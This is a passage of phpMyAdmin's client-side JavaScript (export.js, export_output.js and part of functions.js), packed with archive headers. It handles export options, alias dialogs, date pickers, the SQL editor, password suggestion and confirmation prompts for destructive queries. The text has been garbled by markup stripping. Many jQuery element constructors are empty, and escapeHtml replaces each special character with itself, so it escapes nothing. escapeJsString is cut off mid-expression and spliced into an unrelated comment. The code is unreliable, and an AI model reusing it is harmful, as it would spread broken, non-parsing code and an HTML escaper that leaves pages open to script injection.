$(row); var tableSelect = $row.find('input[name="table_select[]"]'); var strCheck = $row.find('input[name="table_structure[]"]'); var dataCheck = $row.find('input[name="table_data[]"]'); var data = dataCheck.is(':checked:not(:disabled)'); var structure = strCheck.is(':checked:not(:disabled)'); if (data && structure) { tableSelect.prop({ checked: true, indeterminate: false }); $row.addClass('marked'); } else if (data || structure) { tableSelect.prop({ checked: true, indeterminate: true }); $row.removeClass('marked'); } else { tableSelect.prop({ checked: false, indeterminate: false }); $row.removeClass('marked'); } }; Export.toggleTableSelect = function (row) { var $row = $(row); var tableSelected = $row.find('input[name="table_select[]"]').is(':checked'); if (tableSelected) { $row.find('input[type="checkbox"]:not(:disabled)').prop('checked', true); $row.addClass('marked'); } else { $row.find('input[type="checkbox"]:not(:disabled)').prop('checked', false); $row.removeClass('marked'); } }; Export.handleAddProcCheckbox = function () { if ($('#table_structure_all').is(':checked') === true && $('#table_data_all').is(':checked') === true ) { $('#checkbox_sql_procedure_function').prop('checked', true); } else { $('#checkbox_sql_procedure_function').prop('checked', false); } }; AJAX.registerOnload('export.js', function () { /** * For SQL plugin, if "CREATE TABLE options" is checked/unchecked, check/uncheck each of its sub-options */ var $create = $('#checkbox_sql_create_table_statements'); var $createOptions = $('#ul_create_table_statements').find('input'); $create.on('change', function () { $createOptions.prop('checked', $(this).prop('checked')); }); $createOptions.on('change', function () { if ($createOptions.is(':checked')) { $create.prop('checked', true); } }); /** * Disables the view output as text option if the output must be saved as a file */ $('#plugins').on('change', function () { var activePlugin = $('#plugins').find('option:selected').val(); var forceFile = $('#force_file_' + activePlugin).val(); if (forceFile === 'true') { if ($('#radio_dump_asfile').prop('checked') !== true) { $('#radio_dump_asfile').prop('checked', true); Export.toggleSaveToFile(); } $('#radio_view_as_text').prop('disabled', true).parent().fadeTo('fast', 0.4); } else { $('#radio_view_as_text').prop('disabled', false).parent().fadeTo('fast', 1); } }); $('input[type=\'radio\'][name$=\'_structure_or_data\']').on('change', function () { Export.toggleStructureDataOpts(); }); $('input[name="table_select[]"]').on('change', function () { Export.toggleTableSelect($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('input[name="table_structure[]"]').on('change', function () { Export.checkTableSelected($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('input[name="table_data[]"]').on('change', function () { Export.checkTableSelected($(this).closest('tr')); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('#table_structure_all').on('change', function () { Export.toggleTableSelectAllStr(); Export.checkSelectedTables(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); $('#table_data_all').on('change', function () { Export.toggleTableSelectAllData(); Export.checkSelectedTables(); Export.handleAddProcCheckbox(); Export.checkTableSelectStructureOrData(); }); if ($('input[name=\'export_type\']').val() === 'database') { // Hide structure or data radio buttons $('input[type=\'radio\'][name$=\'_structure_or_data\']').each(function () { var $this = $(this); var name = $this.prop('name'); var val = $('input[name="' + name + '"]:checked').val(); var nameDefault = name + '_default'; if (!$('input[name="' + nameDefault + '"]').length) { $this .after( $('') ) .after( $('') ); $this.parent().find('label').remove(); } else { $this.parent().remove(); } }); $('input[type=\'radio\'][name$=\'_structure_or_data\']').remove(); // Disable CREATE table checkbox for sql var createTableCheckbox = $('#checkbox_sql_create_table'); createTableCheckbox.prop('checked', true); var dummyCreateTable = $('#checkbox_sql_create_table') .clone() .removeAttr('id') .attr('type', 'hidden'); createTableCheckbox .prop('disabled', true) .after(dummyCreateTable) .parent() .fadeTo('fast', 0.4); Export.setupTableStructureOrData(); } /** * Handle force structure_or_data */ $('#plugins').on('change', Export.setupTableStructureOrData); }); /** * Toggles display of options when quick and custom export are selected */ Export.toggleQuickOrCustom = function () { if ($('input[name=\'quick_or_custom\']').length === 0 // custom_no_form option || $('#radio_custom_export').prop('checked') // custom ) { $('#databases_and_tables').show(); $('#rows').show(); $('#output').show(); $('#format_specific_opts').show(); $('#output_quick_export').addClass('d-none'); var selectedPluginName = $('#plugins').find('option:selected').val(); $('#' + selectedPluginName + '_options').removeClass('d-none'); } else { // quick $('#databases_and_tables').hide(); $('#rows').hide(); $('#output').hide(); $('#format_specific_opts').hide(); $('#output_quick_export').removeClass('d-none'); } }; var timeOut; Export.checkTimeOut = function (timeLimit) { var limit = timeLimit; if (typeof limit === 'undefined' || limit === 0) { return true; } // margin of one second to avoid race condition to set/access session variable limit = limit + 1; clearTimeout(timeOut); timeOut = setTimeout(function () { $.get('index.php?route=/export/check-time-out', { 'ajax_request': true }, function (data) { if (data.message === 'timeout') { Functions.ajaxShowMessage( '', false ); } }); }, limit * 1000); }; /** * Handler for Alias dialog box * * @param event object the event object * * @return {void} */ Export.createAliasModal = function (event) { event.preventDefault(); var modal = $('#renameExportModal'); modal.modal('show'); modal.on('shown.bs.modal', function () { modal.closest('.ui-dialog').find('.ui-button').addClass('btn btn-secondary'); var db = CommonParams.get('db'); if (db) { var option = $(''); option.text(db); option.attr('value', db); $('#db_alias_select').append(option).val(db).trigger('change'); } else { var params = { 'ajax_request': true, 'server': CommonParams.get('server') }; $.post('index.php?route=/databases', params, function (response) { if (response.success === true) { $.each(response.databases, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#db_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); } }); modal.on('hidden.bs.modal', function () { var isEmpty = true; $(this).find('input[type="text"]').each(function () { // trim empty input fields on close if ($(this).val()) { isEmpty = false; } else { $(this).parents('tr').remove(); } }); // Toggle checkbox based on aliases $('input#btn_alias_config').prop('checked', !isEmpty); }); $('#saveAndCloseBtn').on('click', function () { $('#alias_modal').parent().appendTo($('form[name="dump"]')); }); }; Export.aliasToggleRow = function (elm) { var inputs = elm.parents('tr').find('input,button'); if (elm.val()) { inputs.attr('disabled', false); } else { inputs.attr('disabled', true); } }; Export.aliasRow = null; Export.addAlias = function (type, name, field, value) { if (value === '') { return; } if (Export.aliasRow === null) { Export.aliasRow = $('#alias_data tfoot tr'); } var row = Export.aliasRow.clone(); row.find('th').text(type); row.find('td').first().text(name); row.find('input').attr('name', field); row.find('input').val(value); row.find('.alias_remove').on('click', function () { $(this).parents('tr').remove(); }); var matching = $('#alias_data [name="' + $.escapeSelector(field) + '"]'); if (matching.length > 0) { matching.parents('tr').remove(); } $('#alias_data tbody').append(row); }; AJAX.registerOnload('export.js', function () { $('input[type=\'radio\'][name=\'quick_or_custom\']').on('change', Export.toggleQuickOrCustom); $('#format_specific_opts').find('div.format_specific_options') .addClass('d-none') .find('h3') .remove(); Export.toggleQuickOrCustom(); Export.toggleStructureDataOpts(); Export.toggleSqlIncludeComments(); Export.checkTableSelectAll(); Export.handleAddProcCheckbox(); /** * Initially disables the "Dump some row(s)" sub-options */ Export.disableDumpSomeRowsSubOptions(); /** * Disables the "Dump some row(s)" sub-options when it is not selected */ $('input[type=\'radio\'][name=\'allrows\']').on('change', function () { if ($('#radio_allrows_0').prop('checked')) { Export.enableDumpSomeRowsSubOptions(); } else { Export.disableDumpSomeRowsSubOptions(); } }); // Open Alias Modal Dialog on click $('#btn_alias_config').on('click', Export.createAliasModal); $('.alias_remove').on('click', function () { $(this).parents('tr').remove(); }); $('#db_alias_select').on('change', function () { Export.aliasToggleRow($(this)); var table = CommonParams.get('table'); if (table) { var option = $(''); option.text(table); option.attr('value', table); $('#table_alias_select').append(option).val(table).trigger('change'); } else { var database = $(this).val(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': database, }; var url = 'index.php?route=/tables'; $.post(url, params, function (response) { if (response.success === true) { $.each(response.tables, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#table_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); } }); $('#table_alias_select').on('change', function () { Export.aliasToggleRow($(this)); var database = $('#db_alias_select').val(); var table = $(this).val(); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': database, 'table': table, }; var url = 'index.php?route=/columns'; $.post(url, params, function (response) { if (response.success === true) { $.each(response.columns, function (idx, value) { var option = $(''); option.text(value); option.attr('value', value); $('#column_alias_select').append(option); }); } else { Functions.ajaxShowMessage(response.error, false); } }); }); $('#column_alias_select').on('change', function () { Export.aliasToggleRow($(this)); }); $('#db_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); Export.addAlias( Messages.strAliasDatabase, db, 'aliases[' + db + '][alias]', $('#db_alias_name').val() ); $('#db_alias_name').val(''); }); $('#table_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); var table = $('#table_alias_select').val(); Export.addAlias( Messages.strAliasTable, db + '.' + table, 'aliases[' + db + '][tables][' + table + '][alias]', $('#table_alias_name').val() ); $('#table_alias_name').val(''); }); $('#column_alias_button').on('click', function (e) { e.preventDefault(); var db = $('#db_alias_select').val(); var table = $('#table_alias_select').val(); var column = $('#column_alias_select').val(); Export.addAlias( Messages.strAliasColumn, db + '.' + table + '.' + column, 'aliases[' + db + '][tables][' + table + '][colums][' + column + ']', $('#column_alias_name').val() ); $('#column_alias_name').val(''); }); var setSelectOptions = function (doCheck) { Functions.setSelectOptions('dump', 'db_select[]', doCheck); }; $('#db_select_all').on('click', function (e) { e.preventDefault(); setSelectOptions(true); }); $('#db_unselect_all').on('click', function (e) { e.preventDefault(); setSelectOptions(false); }); $('#buttonGo').on('click', function () { var timeLimit = parseInt($(this).attr('data-exec-time-limit')); // If the time limit set is zero, // then time out won't occur so no need to check for time out. if (timeLimit > 0) { Export.checkTimeOut(timeLimit); } }); }); export_output.js000066600000000622151724624350010060 0ustar00AJAX.registerOnload('export_output.js', function () { $(document).on('keydown', function (e) { if ((e.which || e.keyCode) === 116) { e.preventDefault(); $('#export_refresh_form').trigger('submit'); } }); $('.export_refresh_btn').on('click', function (e) { e.preventDefault(); $('#export_refresh_form').trigger('submit'); }); }); functions.js000066600000505554151724624350007145 0ustar00 /* global isStorageSupported */ // js/config.js /* global ChartType, ColumnType, DataTable, JQPlotChartFactory */ // js/chart.js /* global DatabaseStructure */ // js/database/structure.js /* global mysqlDocBuiltin, mysqlDocKeyword */ // js/doclinks.js /* global Indexes */ // js/indexes.js /* global firstDayOfCalendar, maxInputVars, mysqlDocTemplate, themeImagePath */ // templates/javascript/variables.twig /* global sprintf */ // js/vendor/sprintf.js /* global zxcvbnts */ // js/vendor/zxcvbn-ts.js /** * general function, usually for data manipulation pages * @test-module Functions */ var Functions = {}; /** * @var sqlBoxLocked lock for the sqlbox textarea in the querybox */ // eslint-disable-next-line no-unused-vars var sqlBoxLocked = false; /** * @var {array}, holds elements which content should only selected once */ var onlyOnceElements = []; /** * @var {number} ajaxMessageCount Number of AJAX messages shown since page load */ var ajaxMessageCount = 0; /** * @var codeMirrorEditor object containing CodeMirror editor of the query editor in SQL tab */ var codeMirrorEditor = false; /** * @var codeMirrorInlineEditor object containing CodeMirror editor of the inline query editor */ var codeMirrorInlineEditor = false; /** * @var {boolean} sqlAutoCompleteInProgress shows if Table/Column name autocomplete AJAX is in progress */ var sqlAutoCompleteInProgress = false; /** * @var sqlAutoComplete object containing list of columns in each table */ var sqlAutoComplete = false; /** * @var {string} sqlAutoCompleteDefaultTable string containing default table to autocomplete columns */ var sqlAutoCompleteDefaultTable = ''; /** * @var {array} centralColumnList array to hold the columns in central list per db. */ var centralColumnList = []; /** * @var {array} primaryIndexes array to hold 'Primary' index columns. */ // eslint-disable-next-line no-unused-vars var primaryIndexes = []; /** * @var {array} uniqueIndexes array to hold 'Unique' index columns. */ // eslint-disable-next-line no-unused-vars var uniqueIndexes = []; /** * @var {array} indexes array to hold 'Index' columns. */ // eslint-disable-next-line no-unused-vars var indexes = []; /** * @var {array} fulltextIndexes array to hold 'Fulltext' columns. */ // eslint-disable-next-line no-unused-vars var fulltextIndexes = []; /** * @var {array} spatialIndexes array to hold 'Spatial' columns. */ // eslint-disable-next-line no-unused-vars var spatialIndexes = []; /** * Make sure that ajax requests will not be cached * by appending a random variable to their parameters */ $.ajaxPrefilter(function (options, originalOptions) { var nocache = new Date().getTime() + '' + Math.floor(Math.random() * 1000000); if (typeof options.data === 'string') { options.data += '&_nocache=' + nocache + '&token=' + encodeURIComponent(CommonParams.get('token')); } else if (typeof options.data === 'object') { options.data = $.extend(originalOptions.data, { '_nocache' : nocache, 'token': CommonParams.get('token') }); } }); /** * Adds a date/time picker to an element * * @param {object} $thisElement a jQuery object pointing to the element * @param {string} type * @param {object} options */ Functions.addDatepicker = function ($thisElement, type, options) { if (type !== 'date' && type !== 'time' && type !== 'datetime' && type !== 'timestamp') { return; } var showTimepicker = true; if (type === 'date') { showTimepicker = false; } // Getting the current Date and time var currentDateTime = new Date(); var defaultOptions = { timeInput : true, hour: currentDateTime.getHours(), minute: currentDateTime.getMinutes(), second: currentDateTime.getSeconds(), showOn: 'button', buttonImage: themeImagePath + 'b_calendar.png', buttonImageOnly: true, stepMinutes: 1, stepHours: 1, showSecond: true, showMillisec: true, showMicrosec: true, showTimepicker: showTimepicker, showButtonPanel: false, changeYear: true, dateFormat: 'yy-mm-dd', // yy means year with four digits timeFormat: 'HH:mm:ss.lc', constrainInput: false, altFieldTimeOnly: false, showAnim: '', beforeShow: function (input, inst) { // Remember that we came from the datepicker; this is used // in table/change.js by verificationsAfterFieldChange() $thisElement.data('comes_from', 'datepicker'); if ($(input).closest('.cEdit').length > 0) { setTimeout(function () { inst.dpDiv.css({ top: 0, left: 0, position: 'relative' }); }, 0); } setTimeout(function () { // Fix wrong timepicker z-index, doesn't work without timeout $('#ui-timepicker-div').css('z-index', $('#ui-datepicker-div').css('z-index')); // Integrate tooltip text into dialog var tooltip = $thisElement.uiTooltip('instance'); if (typeof tooltip !== 'undefined') { tooltip.disable(); var $note = $('

          '); $note.text(tooltip.option('content')); $('div.ui-datepicker').append($note); } }, 0); }, onSelect: function () { $thisElement.data('datepicker').inline = true; }, onClose: function () { // The value is no more from the date picker $thisElement.data('comes_from', ''); if (typeof $thisElement.data('datepicker') !== 'undefined') { $thisElement.data('datepicker').inline = false; } var tooltip = $thisElement.uiTooltip('instance'); if (typeof tooltip !== 'undefined') { tooltip.enable(); } } }; if (type === 'time') { $thisElement.timepicker($.extend(defaultOptions, options)); // Add a tip regarding entering MySQL allowed-values for TIME data-type Functions.tooltip($thisElement, 'input', Messages.strMysqlAllowedValuesTipTime); } else { $thisElement.datetimepicker($.extend(defaultOptions, options)); } }; /** * Add a date/time picker to each element that needs it * (only when jquery-ui-timepicker-addon.js is loaded) */ Functions.addDateTimePicker = function () { if ($.timepicker !== undefined) { $('input.timefield, input.datefield, input.datetimefield').each(function () { var decimals = $(this).parent().attr('data-decimals'); var type = $(this).parent().attr('data-type'); var showMillisec = false; var showMicrosec = false; var timeFormat = 'HH:mm:ss'; var hourMax = 23; // check for decimal places of seconds if (decimals > 0 && type.indexOf('time') !== -1) { if (decimals > 3) { showMillisec = true; showMicrosec = true; timeFormat = 'HH:mm:ss.lc'; } else { showMillisec = true; timeFormat = 'HH:mm:ss.l'; } } if (type === 'time') { hourMax = 99; } Functions.addDatepicker($(this), type, { showMillisec: showMillisec, showMicrosec: showMicrosec, timeFormat: timeFormat, hourMax: hourMax, firstDay: firstDayOfCalendar }); // Add a tip regarding entering MySQL allowed-values // for TIME and DATE data-type if ($(this).hasClass('timefield')) { Functions.tooltip($(this), 'input', Messages.strMysqlAllowedValuesTipTime); } else if ($(this).hasClass('datefield')) { Functions.tooltip($(this), 'input', Messages.strMysqlAllowedValuesTipDate); } }); } }; /** * Handle redirect and reload flags sent as part of AJAX requests * * @param data ajax response data */ Functions.handleRedirectAndReload = function (data) { if (parseInt(data.redirect_flag) === 1) { // add one more GET param to display session expiry msg if (window.location.href.indexOf('?') === -1) { window.location.href += '?session_expired=1'; } else { window.location.href += CommonParams.get('arg_separator') + 'session_expired=1'; } window.location.reload(); } else if (parseInt(data.reload_flag) === 1) { window.location.reload(); } }; /** * Creates an SQL editor which supports auto completing etc. * * @param $textarea jQuery object wrapping the textarea to be made the editor * @param options optional options for CodeMirror * @param {'vertical'|'horizontal'|'both'} resize optional resizing ('vertical', 'horizontal', 'both') * @param lintOptions additional options for lint * * @return {object|null} */ Functions.getSqlEditor = function ($textarea, options, resize, lintOptions) { var resizeType = resize; if ($textarea.length > 0 && typeof CodeMirror !== 'undefined') { // merge options for CodeMirror var defaults = { lineNumbers: true, matchBrackets: true, extraKeys: { 'Ctrl-Space': 'autocomplete' }, hintOptions: { 'completeSingle': false, 'completeOnSingleClick': true }, indentUnit: 4, mode: 'text/x-mysql', lineWrapping: true }; if (CodeMirror.sqlLint) { $.extend(defaults, { gutters: ['CodeMirror-lint-markers'], lint: { 'getAnnotations': CodeMirror.sqlLint, 'async': true, 'lintOptions': lintOptions } }); } $.extend(true, defaults, options); // create CodeMirror editor var codemirrorEditor = CodeMirror.fromTextArea($textarea[0], defaults); // allow resizing if (! resizeType) { resizeType = 'vertical'; } var handles = ''; if (resizeType === 'vertical') { handles = 's'; } if (resizeType === 'both') { handles = 'all'; } if (resizeType === 'horizontal') { handles = 'e, w'; } $(codemirrorEditor.getWrapperElement()) .css('resize', resizeType) .resizable({ handles: handles, resize: function () { codemirrorEditor.setSize($(this).width(), $(this).height()); } }); // enable autocomplete codemirrorEditor.on('inputRead', Functions.codeMirrorAutoCompleteOnInputRead); // page locking codemirrorEditor.on('change', function (e) { e.data = { value: 3, content: codemirrorEditor.isClean(), }; AJAX.lockPageHandler(e); }); return codemirrorEditor; } return null; }; /** * Clear text selection */ Functions.clearSelection = function () { if (document.selection && document.selection.empty) { document.selection.empty(); } else if (window.getSelection) { var sel = window.getSelection(); if (sel.empty) { sel.empty(); } if (sel.removeAllRanges) { sel.removeAllRanges(); } } }; /** * Create a jQuery UI tooltip * * @param $elements jQuery object representing the elements * @param item the item * (see https://api.jqueryui.com/tooltip/#option-items) * @param myContent content of the tooltip * @param additionalOptions to override the default options * */ Functions.tooltip = function ($elements, item, myContent, additionalOptions) { if ($('#no_hint').length > 0) { return; } var defaultOptions = { content: myContent, items: item, tooltipClass: 'tooltip', track: true, show: false, hide: false }; $elements.uiTooltip($.extend(true, defaultOptions, additionalOptions)); }; /** * HTML escaping * * @param {any} unsafe * @return {string | false} */ Functions.escapeHtml = function (unsafe) { if (typeof(unsafe) !== 'undefined') { return unsafe .toString() .replace(/&/g, '&') .replace(//g, '>') .replace(/"/g, '"') .replace(/'/g, '''); } else { return false; } }; /** * JavaScript escaping * * @param {any} unsafe * @return {string | false} */ Functions.escapeJsString = function (unsafe) { if (typeof(unsafe) !== 'undefined') { return unsafe .toString() .replace('\x00', '') .replace('\\', '\\\\') .replace('\'', '\\\'') .replace(''', '\\'') .replace('"', '\\"') .replace('"', '\\"') .replace('\n', '\n') .replace('\r', '\r') .replace(/<\/script/gi, '} $defaultType */ Functions.hideShowDefaultValue = function ($defaultType) { if ($defaultType.val() === 'USER_DEFINED') { $defaultType.siblings('.default_value').show().trigger('focus'); } else { $defaultType.siblings('.default_value').hide(); if ($defaultType.val() === 'NULL') { var $nullCheckbox = $defaultType.closest('tr').find('.allow_null'); $nullCheckbox.prop('checked', true); } } }; /** * Hides/shows the input field for column expression based on whether * VIRTUAL/PERSISTENT is selected * * @param $virtuality virtuality dropdown */ Functions.hideShowExpression = function ($virtuality) { if ($virtuality.val() === '') { $virtuality.siblings('.expression').hide(); } else { $virtuality.siblings('.expression').show(); } }; /** * Show notices for ENUM columns; add/hide the default value * */ Functions.verifyColumnsProperties = function () { $('select.column_type').each(function () { Functions.showNoticeForEnum($(this)); Functions.showWarningForIntTypes(); }); $('select.default_type').each(function () { Functions.hideShowDefaultValue($(this)); }); $('select.virtuality').each(function () { Functions.hideShowExpression($(this)); }); }; /** * Add a hidden field to the form to indicate that this will be an * Ajax request (only if this hidden field does not exist) * * @param {object} $form the form */ Functions.prepareForAjaxRequest = function ($form) { if (! $form.find('input:hidden').is('#ajax_request_hidden')) { $form.append(''); } }; Functions.checkPasswordStrength = function (value, meterObject, meterObjectLabel, username) { // List of words we don't want to appear in the password var customDict = [ 'phpmyadmin', 'mariadb', 'mysql', 'php', 'my', 'admin', ]; if (username !== null) { customDict.push(username); } zxcvbnts.core.zxcvbnOptions.setOptions({ dictionary: { userInputs: customDict } }); var zxcvbnObject = zxcvbnts.core.zxcvbn(value); var strength = zxcvbnObject.score; strength = parseInt(strength); meterObject.val(strength); switch (strength) { case 0: meterObjectLabel.html(Messages.strExtrWeak); break; case 1: meterObjectLabel.html(Messages.strVeryWeak); break; case 2: meterObjectLabel.html(Messages.strWeak); break; case 3: meterObjectLabel.html(Messages.strGood); break; case 4: meterObjectLabel.html(Messages.strStrong); } }; /** * Generate a new password and copy it to the password input areas * * @param {object} passwordForm the form that holds the password fields * * @return {boolean} always true */ Functions.suggestPassword = function (passwordForm) { // restrict the password to just letters and numbers to avoid problems: // "editors and viewers regard the password as multiple words and // things like double click no longer work" var pwchars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWYXZ@!_.*/()[]-'; var passwordlength = 16; // do we want that to be dynamic? no, keep it simple :) var passwd = passwordForm.generated_pw; // eslint-disable-next-line compat/compat var randomWords = new Int32Array(passwordlength); passwd.value = ''; var i; // First we're going to try to use a built-in CSPRNG // eslint-disable-next-line compat/compat if (window.crypto && window.crypto.getRandomValues) { // eslint-disable-next-line compat/compat window.crypto.getRandomValues(randomWords); } else if (window.msCrypto && window.msCrypto.getRandomValues) { // Because of course IE calls it msCrypto instead of being standard window.msCrypto.getRandomValues(randomWords); } else { // Fallback to Math.random for (i = 0; i < passwordlength; i++) { randomWords[i] = Math.floor(Math.random() * pwchars.length); } } for (i = 0; i < passwordlength; i++) { passwd.value += pwchars.charAt(Math.abs(randomWords[i]) % pwchars.length); } var $jQueryPasswordForm = $(passwordForm); passwordForm.elements.pma_pw.value = passwd.value; passwordForm.elements.pma_pw2.value = passwd.value; var meterObj = $jQueryPasswordForm.find('meter[name="pw_meter"]').first(); var meterObjLabel = $jQueryPasswordForm.find('span[name="pw_strength"]').first(); Functions.checkPasswordStrength(passwd.value, meterObj, meterObjLabel); return true; }; /** * for PhpMyAdmin\Display\ChangePassword and /user-password */ Functions.displayPasswordGenerateButton = function () { var generatePwdRow = $('').addClass('align-middle'); $('').html(Messages.strGeneratePassword).appendTo(generatePwdRow); var pwdCell = $('').appendTo(generatePwdRow); var pwdButton = $('') .attr({ type: 'button', id: 'button_generate_password', value: Messages.strGenerate }) .addClass('btn btn-secondary button') .on('click', function () { Functions.suggestPassword(this.form); }); var pwdTextbox = $('') .attr({ type: 'text', name: 'generated_pw', id: 'generated_pw' }); pwdCell.append(pwdButton).append(pwdTextbox); if (document.getElementById('button_generate_password') === null) { $('#tr_element_before_generate_password').parent().append(generatePwdRow); } var generatePwdDiv = $('
          ').addClass('item'); $('').attr({ for: 'button_generate_password' }) .html(Messages.strGeneratePassword + ':') .appendTo(generatePwdDiv); var optionsSpan = $('').addClass('options') .appendTo(generatePwdDiv); pwdButton.clone(true).appendTo(optionsSpan); pwdTextbox.clone(true).appendTo(generatePwdDiv); if (document.getElementById('button_generate_password') === null) { $('#div_element_before_generate_password').parent().append(generatePwdDiv); } }; /** * selects the content of a given object, f.e. a textarea * * @param {object} element element of which the content will be selected * @param {any | true} lock variable which holds the lock for this element or true, if no lock exists * @param {boolean} onlyOnce boolean if true this is only done once f.e. only on first focus */ Functions.selectContent = function (element, lock, onlyOnce) { if (onlyOnce && onlyOnceElements[element.name]) { return; } onlyOnceElements[element.name] = true; if (lock) { return; } element.select(); }; /** * Displays a confirmation box before submitting a "DROP/DELETE/ALTER" query. * This function is called while clicking links * * @param {object} theLink the link * @param {object} theSqlQuery the sql query to submit * * @return {boolean} whether to run the query or not */ Functions.confirmLink = function (theLink, theSqlQuery) { // Confirmation is not required in the configuration file // or browser is Opera (crappy js implementation) if (Messages.strDoYouReally === '' || typeof(window.opera) !== 'undefined') { return true; } var isConfirmed = confirm(Functions.sprintf(Messages.strDoYouReally, theSqlQuery)); if (isConfirmed) { if (typeof(theLink.href) !== 'undefined') { theLink.href += CommonParams.get('arg_separator') + 'is_js_confirmed=1'; } else if (typeof(theLink.form) !== 'undefined') { theLink.form.action += '?is_js_confirmed=1'; } } return isConfirmed; }; /** * Confirms a "DROP/DELETE/ALTER" query before * submitting it if required. * This function is called by the 'Functions.checkSqlQuery()' js function. * * @param {object} theForm1 the form * @param {string} sqlQuery1 the sql query string * * @return {boolean} whether to run the query or not * * @see Functions.checkSqlQuery() */ Functions.confirmQuery = function (theForm1, sqlQuery1) { // Confirmation is not required in the configuration file if (Messages.strDoYouReally === '') { return true; } // Confirms a "DROP/DELETE/ALTER/TRUNCATE" statement // // TODO: find a way (if possible) to use the parser-analyser // for this kind of verification // For now, I just added a ^ to check for the statement at // beginning of expression var doConfirmRegExp0 = new RegExp('^\\s*DROP\\s+(IF EXISTS\\s+)?(TABLE|PROCEDURE)\\s', 'i'); var doConfirmRegExp1 = new RegExp('^\\s*ALTER\\s+TABLE\\s+((`[^`]+`)|([A-Za-z0-9_$]+))\\s+DROP\\s', 'i'); var doConfirmRegExp2 = new RegExp('^\\s*DELETE\\s+FROM\\s', 'i'); var doConfirmRegExp3 = new RegExp('^\\s*TRUNCATE\\s', 'i'); var doConfirmRegExp4 = new RegExp('^(?=.*UPDATE\\b)^((?!WHERE).)*$', 'i'); if (doConfirmRegExp0.test(sqlQuery1) || doConfirmRegExp1.test(sqlQuery1) || doConfirmRegExp2.test(sqlQuery1) || doConfirmRegExp3.test(sqlQuery1) || doConfirmRegExp4.test(sqlQuery1)) { var message; if (sqlQuery1.length > 100) { message = sqlQuery1.substr(0, 100) + '\n ...'; } else { message = sqlQuery1; } var isConfirmed = confirm(Functions.sprintf(Messages.strDoYouReally, message)); // statement is confirmed -> update the // "is_js_confirmed" form field so the confirm test won't be // run on the server side and allows to submit the form if (isConfirmed) { theForm1.elements.is_js_confirmed.value = 1; return true; } else { // statement is rejected -> do not submit the form window.focus(); return false; } // end if (handle confirm box result) } // end if (display confirm box) return true; }; /** * Displays an error message if the user submitted the sql query form with no * sql query, else checks for "DROP/DELETE/ALTER" statements * * @param {object} theForm the form * * @return {boolean} always false * * @see Functions.confirmQuery() */ Functions.checkSqlQuery = function (theForm) { // get the textarea element containing the query var sqlQuery; if (codeMirrorEditor) { codeMirrorEditor.save(); sqlQuery = codeMirrorEditor.getValue(); } else { sqlQuery = theForm.elements.sql_query.value; } var spaceRegExp = new RegExp('\\s+'); if (typeof(theForm.elements.sql_file) !== 'undefined' && theForm.elements.sql_file.value.replace(spaceRegExp, '') !== '') { return true; } if (typeof(theForm.elements.id_bookmark) !== 'undefined' && (theForm.elements.id_bookmark.value !== null || theForm.elements.id_bookmark.value !== '') && theForm.elements.id_bookmark.selectedIndex !== 0) { return true; } var result = false; // Checks for "DROP/DELETE/ALTER" statements if (sqlQuery.replace(spaceRegExp, '') !== '') { result = Functions.confirmQuery(theForm, sqlQuery); } else { alert(Messages.strFormEmpty); } if (codeMirrorEditor) { codeMirrorEditor.focus(); } else if (codeMirrorInlineEditor) { codeMirrorInlineEditor.focus(); } return result; }; /** * Check if a form's element is empty. * An element containing only spaces is also considered empty * * @param {object} theForm the form * @param {string} theFieldName the name of the form field to put the focus on * * @return {boolean} whether the form field is empty or not */ Functions.emptyCheckTheField = function (theForm, theFieldName) { var theField = theForm.elements[theFieldName]; var spaceRegExp = new RegExp('\\s+'); return theField.value.replace(spaceRegExp, '') === ''; }; /** * Ensures a value submitted in a form is numeric and is in a range * * @param {object} theForm the form * @param {string} theFieldName the name of the form field to check * @param {any} message * @param {number} minimum the minimum authorized value * @param {number} maximum the maximum authorized value * * @return {boolean} whether a valid number has been submitted or not */ Functions.checkFormElementInRange = function (theForm, theFieldName, message, minimum, maximum) { var theField = theForm.elements[theFieldName]; var val = parseInt(theField.value, 10); var min = 0; var max = Number.MAX_VALUE; if (typeof(minimum) !== 'undefined') { min = minimum; } if (typeof(maximum) !== 'undefined' && maximum !== null) { max = maximum; } if (isNaN(val)) { theField.select(); alert(Messages.strEnterValidNumber); theField.focus(); return false; } else if (val < min || val > max) { theField.select(); alert(Functions.sprintf(message, val)); theField.focus(); return false; } else { theField.value = val; } return true; }; Functions.checkTableEditForm = function (theForm, fieldsCnt) { // TODO: avoid sending a message if user just wants to add a line // on the form but has not completed at least one field name var atLeastOneField = 0; var i; var elm; var elm2; var elm3; var val; var id; for (i = 0; i < fieldsCnt; i++) { id = '#field_' + i + '_2'; elm = $(id); val = elm.val(); if (val === 'VARCHAR' || val === 'CHAR' || val === 'BIT' || val === 'VARBINARY' || val === 'BINARY') { elm2 = $('#field_' + i + '_3'); val = parseInt(elm2.val(), 10); elm3 = $('#field_' + i + '_1'); if (isNaN(val) && elm3.val() !== '') { elm2.select(); alert(Messages.strEnterValidLength); elm2.focus(); return false; } } if (atLeastOneField === 0) { id = 'field_' + i + '_1'; if (!Functions.emptyCheckTheField(theForm, id)) { atLeastOneField = 1; } } } if (atLeastOneField === 0) { var theField = theForm.elements.field_0_1; alert(Messages.strFormEmpty); theField.focus(); return false; } // at least this section is under jQuery var $input = $('input.textfield[name=\'table\']'); if ($input.val() === '') { alert(Messages.strFormEmpty); $input.trigger('focus'); return false; } return true; }; /** * True if last click is to check a row. */ var lastClickChecked = false; /** * Zero-based index of last clicked row. * Used to handle the shift + click event in the code above. */ var lastClickedRow = -1; /** * Zero-based index of last shift clicked row. */ var lastShiftClickedRow = -1; var idleSecondsCounter = 0; var incInterval; var updateTimeout; 